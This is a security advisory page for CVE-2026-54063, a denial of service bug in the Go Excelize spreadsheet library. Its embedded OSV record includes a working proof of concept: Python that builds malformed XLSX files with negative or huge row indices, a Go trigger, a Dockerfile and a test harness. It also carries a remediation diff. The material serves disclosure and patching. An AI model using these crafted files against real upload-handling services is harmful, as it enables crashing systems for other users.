CVE-2026-54063: Excelize Denial of Service Vulnerability
HIGHCVE-2026-54063 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Excelize libraries in the Go ecosystem. The issue involves unbounded row index allocation in worksheet parser (checksheet oom/panic dos). Remediation is available by upgrading affected packages to version 2.11.0.
CVE-2026-54063 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-54063
To remediate this vulnerability, upgrade all affected Excelize dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/xuri/excelize/v2 to 2.11.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/xuri/excelize/v2
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-54063, inspect your project dependencies for Excelize:
inspect dependencies for github.com/xuri/excelize/v2
Analyze the terminal output to locate any version of Excelize in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.11.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Excelize, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54063 Affected Excelize Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/xuri/excelize/v2
|
Go |
< 2.11.0
|
2.11.0
|
References
Frequently Asked Questions
What is CVE-2026-54063?
Which Excelize versions are affected?
What version fixes CVE-2026-54063?
Is github.com/xuri/excelize/v2 affected?
What is the CVSS score of CVE-2026-54063?
What CWE is associated with CVE-2026-54063?
How can I check Go dependencies for CVE-2026-54063?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-h69g-9hx6-f3v4",
"modified" : "2026-07-10T19:25:20Z",
"published" : "2026-07-10T19:25:20Z",
"aliases" : [ "CVE-2026-54063" ],
"summary" : "Excelize: Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)",
"details" : "## Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)\n\n### Summary\nThe `checkSheet()` function in `github.com/xuri/excelize/v2` uses an attacker-controlled `<row r=\"N\">` XML attribute value directly as the length argument to `make([]xlsxRow, row)` without validating it against the Excel row limit (`TotalRows = 1,048,576`). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when `r=2147483647` forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when `r=-1`. Any service that opens attacker-supplied XLSX files and calls `GetCellValue` is affected. No authentication is required.\n\n### Details\nThe vulnerable code path is triggered by calling `GetCellValue` (or any API that internally invokes `workSheetReader`) on an XLSX file containing a crafted worksheet row element.\n\n**Data flow (source → sink):**\n\n1. `excelize.go:186-193` — `OpenReader` reads attacker-controlled spreadsheet bytes.\n2. `excelize.go:216-223` — ZIP reader is created and passed to `ReadZipReader`.\n3. `lib.go:43-77` — ZIP entries are read into `fileList`; worksheet XML is stored by part name.\n4. `excelize.go:228-229` — XML bytes are stored in `f.Pkg`.\n5. `cell.go:71-79` — Public `GetCellValue` enters the worksheet value-read path.\n6. `cell.go:1492-1494` — `getCellStringFunc` calls `workSheetReader`.\n7. `excelize.go:313-324` — Worksheet XML is decoded into `xlsxWorksheet`.\n8. `xmlWorksheet.go:302-312` — `<row r=\"...\">` is deserialized into `xlsxRow.R int` with no validation (source).\n9. `excelize.go:357-377` — `checkSheet()` accumulates the maximum `r` value; **sink**: `make([]xlsxRow, row)` allocates a slice of that size before any bounds check.\n\n**Vulnerable code (`excelize.go:373-377`):**\n```go\nif r.R != 0 && r.R > row {\n row = r.R\n}\nsheetData := xlsxSheetData{Row: make([]xlsxRow, row)} // unbounded allocation\n```\n\nThe constant `TotalRows = 1048576` is defined in `templates.go:190` but is never applied before the `make()` call in `checkSheet()`, leaving the allocation fully attacker-controlled.\n\n**Variant A (`r = 2147483647`):** `make([]xlsxRow, 2147483647)` attempts to allocate approximately 16 GB of memory. The Go runtime terminates the process with `fatal error: runtime: out of memory`.\n\n**Variant B (`r = -1`):** The first loop in `checkSheet()` leaves `row = 0` because the condition `r.R != 0` is false for `r.R = -1`. The second loop then executes `sheetData.Row[r.R-1]`, which evaluates to `sheetData.Row[-2]`, triggering `runtime error: index out of range [-2]` at `excelize.go:381`.\n\nDynamic reproduction confirmed both variants inside a memory-limited Docker container (256 MB). The full panic stack trace for Variant B is:\n```\npanic: runtime error: index out of range [-2]\n\ngoroutine 1 [running]:\ngithub.com/xuri/excelize/v2.(*xlsxWorksheet).checkSheet(...)\n /excelize/excelize.go:381\ngithub.com/xuri/excelize/v2.(*File).workSheetReader(...)\n /excelize/excelize.go:329\ngithub.com/xuri/excelize/v2.(*File).getCellStringFunc(...)\n /excelize/cell.go:1494\ngithub.com/xuri/excelize/v2.(*File).GetCellValue(...)\n /excelize/cell.go:72\nmain.main.func1(...)\n /excelize/cmd/poc/main.go:44\nmain.main()\n /excelize/cmd/poc/main.go:52\n```\n\n**Recommended remediation (`excelize.go`):**\n```diff\n-func (ws *xlsxWorksheet) checkSheet() {\n+func (ws *xlsxWorksheet) checkSheet() error {\n ...\n for i := 0; i < len(ws.SheetData.Row); i++ {\n r := ws.SheetData.Row[i]\n+ if r.R < 0 {\n+ return newInvalidRowNumberError(r.R)\n+ }\n+ if r.R > TotalRows {\n+ return ErrMaxRows\n+ }\n ...\n ws.SheetData = *sheetData\n+ return nil\n }\n```\n\n### PoC\n\n**Step 1: Generate the malicious XLSX**\n\n```python\nimport zipfile\n\n# Variant A: OOM → row = \"2147483647\"\n# Variant B: Panic → row = \"-1\"\nrow = \"-1\"\n\nwith zipfile.ZipFile(\"malicious.xlsx\", \"w\", zipfile.ZIP_DEFLATED) as z:\n z.writestr(\"[Content_Types].xml\", '''<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Types xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\">\n<Default Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/>\n<Default Extension=\"xml\" ContentType=\"application/xml\"/>\n<Override PartName=\"/xl/workbook.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/>\n<Override PartName=\"/xl/worksheets/sheet1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/>\n</Types>''')\n z.writestr(\"_rels/.rels\", '''<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">\n<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"xl/workbook.xml\"/>\n</Relationships>''')\n z.writestr(\"xl/workbook.xml\", '''<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<workbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"\n xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\">\n<sheets><sheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/></sheets>\n</workbook>''')\n z.writestr(\"xl/_rels/workbook.xml.rels\", '''<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">\n<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\" Target=\"worksheets/sheet1.xml\"/>\n</Relationships>''')\n z.writestr(\"xl/worksheets/sheet1.xml\", f'''<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<worksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\">\n<sheetData><row r=\"{row}\"><c r=\"A1\"><v>1</v></c></row></sheetData>\n</worksheet>''')\n```\n\n**Step 2: Trigger the vulnerability**\n\n```go\npackage main\n\nimport \"github.com/xuri/excelize/v2\"\n\nfunc main() {\n f, err := excelize.OpenFile(\"malicious.xlsx\")\n if err != nil { panic(err) }\n defer f.Close()\n _, err = f.GetCellValue(\"Sheet1\", \"A1\") // triggers checkSheet() → unbounded make()\n if err != nil { panic(err) }\n}\n```\n\n**Expected results:**\n- Variant A (`r=\"2147483647\"`): process is killed by the OOM killer (`fatal error: runtime: out of memory` or exit code 137).\n- Variant B (`r=\"-1\"`): process panics with `runtime error: index out of range [-2]` at `excelize.go:381` (exit code 2).\n\nBoth variants were confirmed in a Docker container with `--memory 256m --memory-swap 256m`. The malicious XLSX payload is a few hundred bytes.\n\n### Impact\n\nThis is a **Denial-of-Service** vulnerability. An unauthenticated remote attacker can crash or memory-exhaust any Go application that uses `github.com/xuri/excelize/v2` to open attacker-supplied XLSX files and subsequently calls any cell-reading API (`GetCellValue`, `GetRows`, `GetCols`, or any function that internally triggers `workSheetReader`).\n\n**Who is impacted:**\n- Web services with XLSX upload or import endpoints (document processors, data pipelines, BI tools).\n- CLI tools or batch jobs that parse user-supplied spreadsheet files.\n- Any application using the library to handle untrusted XLSX documents.\n\nThe attack requires no authentication and no user interaction beyond uploading a malicious file. The payload is a minimal well-formed ZIP of a few hundred bytes, making it trivial to construct and deliver. Repeated or concurrent exploitation can permanently deny service to all users of the affected application.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001: Unbounded Row Index Allocation in excelize checkSheet()\n# CWE-770 — Allocation of Resources Without Limits or Throttling\n# Target: github.com/xuri/excelize/v2 @ commit f4a068b\n#\n# Exploit path:\n# GetCellValue -> getCellStringFunc -> workSheetReader -> checkSheet()\n# In checkSheet() (excelize.go:341-393), the attacker-controlled <row r=\"N\">\n# attribute is used directly as make([]xlsxRow, row) size with no bounds check.\n#\n# Variant A (r=2147483647): OOM — make([]xlsxRow, 2147483647) exhausts memory\n# Variant B (r=-1): Panic — second loop does sheetData.Row[-2] (index OOB)\n\nFROM golang:latest AS builder\n\n# Copy the vulnerable excelize library source (serves as the Go module)\nCOPY repo/ /excelize/\n\n# Copy the exploit main package written by poc.py\nCOPY vuln-001/exploit_main.go /excelize/cmd/poc/main.go\n\nWORKDIR /excelize\n\n# Build the exploit binary.\n# -mod=mod: allow Go to update go.sum for any transitive deps.\n# CGO_ENABLED=0: produce a statically-linked binary for the runtime stage.\nRUN CGO_ENABLED=0 GOFLAGS=\"-mod=mod\" go build -o /poc ./cmd/poc/\n\n# Minimal runtime stage (golang image provides a libc for cgo-free binary too)\nFROM golang:latest\nCOPY --from=builder /poc /poc\nENTRYPOINT [\"/poc\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unbounded Row Index Allocation in excelize checkSheet()\nCWE-770 — Allocation of Resources Without Limits or Throttling\nRepository: qax-os/excelize Commit: f4a068b\n\nExploit mechanism:\n xlsxWorksheet.checkSheet() (excelize.go:341-393) iterates worksheet rows and\n uses the attacker-controlled <row r=\"N\"> attribute directly as the length\n argument to make([]xlsxRow, row) without any bounds validation against\n TotalRows (1,048,576).\n\n Variant A (r=2147483647): make([]xlsxRow, 2^31-1) → OOM / fatal error\n Variant B (r=-1): first loop leaves row=0; second loop executes\n sheetData.Row[-1-1] → runtime panic: index out of range\n\nThis script:\n 1. Writes exploit_main.go (the Go PoC binary source).\n 2. Creates two malicious XLSX files (one per variant).\n 3. Builds the Docker image.\n 4. Runs each variant and captures evidence.\n 5. Writes phase2_result.json with verdict.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\nimport zipfile\n\n# ---------------------------------------------------------------------------\n# Paths\n# ---------------------------------------------------------------------------\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nPARENT_DIR = os.path.dirname(BASE_DIR) # Docker build context\nRESULT_FILE = os.path.join(BASE_DIR, \"phase2_result.json\")\nDOCKERFILE = os.path.join(BASE_DIR, \"Dockerfile\")\nIMAGE_NAME = \"excelize-poc-vuln001\"\n\nEXPLOIT_SRC = os.path.join(BASE_DIR, \"exploit_main.go\")\nPANIC_XLSX = os.path.join(BASE_DIR, \"row_negative.xlsx\")\nOOM_XLSX = os.path.join(BASE_DIR, \"row_maxint.xlsx\")\n\n\n# ---------------------------------------------------------------------------\n# Step 1 — Write the Go exploit source\n# ---------------------------------------------------------------------------\nEXPLOIT_GO = textwrap.dedent(\"\"\"\\\n // exploit_main.go — PoC for VULN-001\n // Triggers excelize checkSheet() unbounded allocation via malicious XLSX.\n package main\n\n import (\n \\t\"fmt\"\n \\t\"os\"\n \\t\"runtime/debug\"\n\n \\texcelize \"github.com/xuri/excelize/v2\"\n )\n\n func main() {\n \\tif len(os.Args) < 2 {\n \\t\\tfmt.Fprintln(os.Stderr, \"Usage: poc <xlsx_file>\")\n \\t\\tos.Exit(1)\n \\t}\n \\tpath := os.Args[1]\n \\tfmt.Printf(\"[*] Opening: %s\\\\n\", path)\n\n \\t// Wrap the call so we can print a structured panic message before exiting.\n \\t// The panic itself is the evidence of exploitability.\n \\tfunc() {\n \\t\\tdefer func() {\n \\t\\t\\tif r := recover(); r != nil {\n \\t\\t\\t\\tfmt.Println(\"[VULN] PANIC CAUGHT — vulnerability confirmed\")\n \\t\\t\\t\\tfmt.Printf(\"[VULN] panic value: %v\\\\n\", r)\n \\t\\t\\t\\tfmt.Println(\"[VULN] Stack trace:\")\n \\t\\t\\t\\tdebug.PrintStack()\n \\t\\t\\t\\tos.Exit(2) // exit 2 = exploitable crash (panic)\n \\t\\t\\t}\n \\t\\t}()\n\n \\t\\tf, err := excelize.OpenFile(path)\n \\t\\tif err != nil {\n \\t\\t\\tfmt.Printf(\"[!] OpenFile error: %v\\\\n\", err)\n \\t\\t\\tos.Exit(1)\n \\t\\t}\n \\t\\tdefer f.Close()\n\n \\t\\t// GetCellValue → getCellStringFunc → workSheetReader → checkSheet()\n \\t\\t// checkSheet() is the sink: make([]xlsxRow, row) where row is attacker-controlled.\n \\t\\tfmt.Println(\"[*] Calling GetCellValue — entering checkSheet() sink\")\n \\t\\tval, err := f.GetCellValue(\"Sheet1\", \"A1\")\n \\t\\tif err != nil {\n \\t\\t\\t// Some errors surface instead of panicking (e.g. allocation failures\n \\t\\t\\t// that Go converts to errors in some configurations).\n \\t\\t\\tfmt.Printf(\"[!] GetCellValue error: %v\\\\n\", err)\n \\t\\t\\tos.Exit(3) // exit 3 = error path (still abnormal)\n \\t\\t}\n \\t\\tfmt.Printf(\"[*] GetCellValue returned normally, value=%q (no crash)\\\\n\", val)\n \\t}()\n }\n\"\"\")\n\n\ndef write_exploit_source() -> None:\n with open(EXPLOIT_SRC, \"w\") as fh:\n fh.write(EXPLOIT_GO)\n print(f\"[+] Wrote exploit source: {EXPLOIT_SRC}\")\n\n\n# ---------------------------------------------------------------------------\n# Step 2 — Build malicious XLSX files\n# ---------------------------------------------------------------------------\nCONTENT_TYPES = (\n '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n '<Types xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\">'\n '<Default Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/>'\n '<Default Extension=\"xml\" ContentType=\"application/xml\"/>'\n '<Override PartName=\"/xl/workbook.xml\"'\n ' ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/>'\n '<Override PartName=\"/xl/worksheets/sheet1.xml\"'\n ' ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/>'\n '</Types>'\n)\n\nRELS = (\n '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n '<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">'\n '<Relationship Id=\"rId1\"'\n ' Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\"'\n ' Target=\"xl/workbook.xml\"/>'\n '</Relationships>'\n)\n\nWORKBOOK = (\n '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n '<workbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"'\n ' xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\">'\n '<sheets><sheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/></sheets>'\n '</workbook>'\n)\n\nWORKBOOK_RELS = (\n '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n '<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">'\n '<Relationship Id=\"rId1\"'\n ' Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\"'\n ' Target=\"worksheets/sheet1.xml\"/>'\n '</Relationships>'\n)\n\n\ndef sheet_xml(row_r: str) -> str:\n return (\n '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n '<worksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\">'\n f'<sheetData><row r=\"{row_r}\"><c r=\"A1\"><v>1</v></c></row></sheetData>'\n '</worksheet>'\n )\n\n\ndef build_xlsx(path: str, row_r: str) -> None:\n with zipfile.ZipFile(path, \"w\", zipfile.ZIP_DEFLATED) as z:\n z.writestr(\"[Content_Types].xml\", CONTENT_TYPES)\n z.writestr(\"_rels/.rels\", RELS)\n z.writestr(\"xl/workbook.xml\", WORKBOOK)\n z.writestr(\"xl/_rels/workbook.xml.rels\", WORKBOOK_RELS)\n z.writestr(\"xl/worksheets/sheet1.xml\", sheet_xml(row_r))\n print(f\"[+] Created {os.path.basename(path)} (row r={row_r!r})\")\n\n\n# ---------------------------------------------------------------------------\n# Step 3 — Docker helpers\n# ---------------------------------------------------------------------------\ndef run_cmd(cmd: list, timeout: int = 600) -> subprocess.CompletedProcess:\n print(f\"[>] {' '.join(str(x) for x in cmd)}\")\n return subprocess.run(\n cmd,\n capture_output=True,\n text=True,\n timeout=timeout,\n )\n\n\ndef docker_build() -> tuple[bool, str]:\n result = run_cmd(\n [\n \"docker\", \"build\",\n \"--no-cache\",\n \"-f\", DOCKERFILE,\n \"-t\", IMAGE_NAME,\n PARENT_DIR,\n ],\n timeout=600,\n )\n combined = result.stdout + result.stderr\n if result.returncode != 0:\n print(f\"[-] docker build FAILED (rc={result.returncode})\")\n print(combined[-4000:])\n return False, combined\n print(\"[+] Docker image built successfully\")\n return True, combined\n\n\ndef docker_run_variant(label: str, xlsx_path: str, mem: str = \"256m\", timeout: int = 90) -> dict:\n \"\"\"Run the exploit container against one XLSX file and return analysis dict.\"\"\"\n cmd = [\n \"docker\", \"run\", \"--rm\",\n \"--memory\", mem,\n \"--memory-swap\", mem,\n \"-v\", f\"{xlsx_path}:/input.xlsx:ro\",\n IMAGE_NAME,\n \"/input.xlsx\",\n ]\n run_cmd_str = \" \".join(cmd)\n try:\n result = run_cmd(cmd, timeout=timeout)\n rc = result.returncode\n stdout = result.stdout or \"\"\n stderr = result.stderr or \"\"\n except subprocess.TimeoutExpired:\n rc = -99\n stdout = \"\"\n stderr = f\"TIMEOUT after {timeout}s\"\n\n combined = stdout + stderr\n print(f\"\\n--- {label} ---\")\n print(f\" exit code : {rc}\")\n print(f\" stdout : {stdout[:1200]}\")\n print(f\" stderr : {stderr[:1200]}\")\n\n is_panic = any(kw in combined for kw in (\n \"index out of range\",\n \"PANIC CAUGHT\",\n \"runtime error\",\n \"goroutine \",\n \"panic:\",\n ))\n is_oom = any(kw in combined for kw in (\n \"out of memory\",\n \"cannot allocate\",\n \"fatal error\",\n \"makeslice\",\n )) or rc == 137\n\n # exit 2 = panic caught; exit 137 = OOM kill; exit 3 = error path\n crashed = rc != 0 and (is_panic or is_oom or rc in (2, 3, 137))\n\n return {\n \"label\": label,\n \"rc\": rc,\n \"is_panic\": is_panic,\n \"is_oom\": is_oom,\n \"crashed\": crashed,\n \"run_cmd\": run_cmd_str,\n \"snippet\": combined[:1500].strip(),\n }\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\ndef main() -> None:\n print(\"=\" * 65)\n print(\"VULN-001 PoC — excelize checkSheet() unbounded allocation DoS\")\n print(\"=\" * 65)\n\n # 1. Write Go exploit source (needed before docker build)\n write_exploit_source()\n\n # 2. Create malicious XLSX payloads\n build_xlsx(PANIC_XLSX, \"-1\") # Variant B: index OOB panic\n build_xlsx(OOM_XLSX, \"2147483647\") # Variant A: 2 GB+ make() → OOM\n\n # 3. Build Docker image\n build_cmd = (\n f\"docker build --no-cache -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}\"\n )\n build_ok, build_out = docker_build()\n if not build_ok:\n payload = {\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"reason\": (\n \"Docker 이미지 빌드에 실패했습니다. golang:latest 이미지가 go.mod의 \"\n \"'go 1.25.0' 요건을 충족하지 않을 수 있습니다. Dockerfile에서 \"\n \"'golang:1.25' 등 명시적 버전 태그로 교체 후 재시도 바랍니다.\"\n ),\n \"build_command\": build_cmd,\n \"run_command\": \"\",\n \"poc_command\": f\"python3 {os.path.abspath(__file__)}\",\n \"evidence\": build_out[-2000:],\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n }\n with open(RESULT_FILE, \"w\") as fh:\n json.dump(payload, fh, indent=2, ensure_ascii=False)\n print(f\"\\n[!] FAIL result → {RESULT_FILE}\")\n sys.exit(1)\n\n # 4. Run both variants\n ev_panic = docker_run_variant(\n \"Variant B — r=-1 (index out of range panic)\", PANIC_XLSX, mem=\"256m\")\n ev_oom = docker_run_variant(\n \"Variant A — r=2147483647 (OOM)\", OOM_XLSX, mem=\"256m\")\n\n # 5. Verdict\n passed = ev_panic[\"crashed\"] or ev_oom[\"crashed\"]\n\n if ev_panic[\"crashed\"]:\n primary, primary_ev = \"B (r=-1, panic)\", ev_panic\n elif ev_oom[\"crashed\"]:\n primary, primary_ev = \"A (r=2147483647, OOM)\", ev_oom\n else:\n primary, primary_ev = \"B (r=-1, panic)\", ev_panic # best-effort\n\n if passed:\n reason = (\n f\"실행 결과 비정상 종료 확인됨 (주요 variant: {primary}). \"\n f\"Variant B(r=-1): rc={ev_panic['rc']}, panic={ev_panic['is_panic']}; \"\n f\"Variant A(r=2147483647): rc={ev_oom['rc']}, oom={ev_oom['is_oom']}. \"\n \"excelize.go:377 make([]xlsxRow, row)에 대한 bounds 검증 부재가 \"\n \"컨테이너 내 실제 DoS(패닉/OOM)를 유발함을 실행으로 증명.\"\n )\n verdict = \"PASS\"\n else:\n reason = (\n \"컨테이너 실행이 완료되었으나 충돌(패닉/OOM) 증거가 관측되지 않음. \"\n f\"Variant B rc={ev_panic['rc']}, Variant A rc={ev_oom['rc']}. \"\n \"가능한 원인: (1) Go 런타임이 make() 실패를 panic 대신 error로 반환, \"\n \"(2) 메모리 한도 초과 전 OOM killer가 작동하지 않음. \"\n \"다음을 시도: --memory 64m으로 재실행, 또는 호스트에서 직접 Go 빌드 후 실행.\"\n )\n verdict = \"FAIL\"\n\n phase2 = {\n \"passed\": passed,\n \"verdict\": verdict,\n \"reason\": reason,\n \"build_command\": build_cmd,\n \"run_command\": primary_ev[\"run_cmd\"],\n \"poc_command\": f\"python3 {os.path.abspath(__file__)}\",\n \"evidence\": primary_ev[\"snippet\"],\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n }\n\n with open(RESULT_FILE, \"w\") as fh:\n json.dump(phase2, fh, indent=2, ensure_ascii=False)\n\n print(f\"\\n{'='*65}\")\n print(f\"Verdict : {verdict} (passed={passed})\")\n print(f\"Result → {RESULT_FILE}\")\n print(\"=\" * 65)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/xuri/excelize/v2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.11.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/qax-os/excelize/security/advisories/GHSA-h69g-9hx6-f3v4"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54063"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/qax-os/excelize"
}, {
"type" : "WEB",
"url" : "https://github.com/qax-os/excelize/releases/tag/v2.11.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-770" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-10T19:25:20Z",
"nvd_published_at" : "2026-07-10T17:16:58Z"
}
}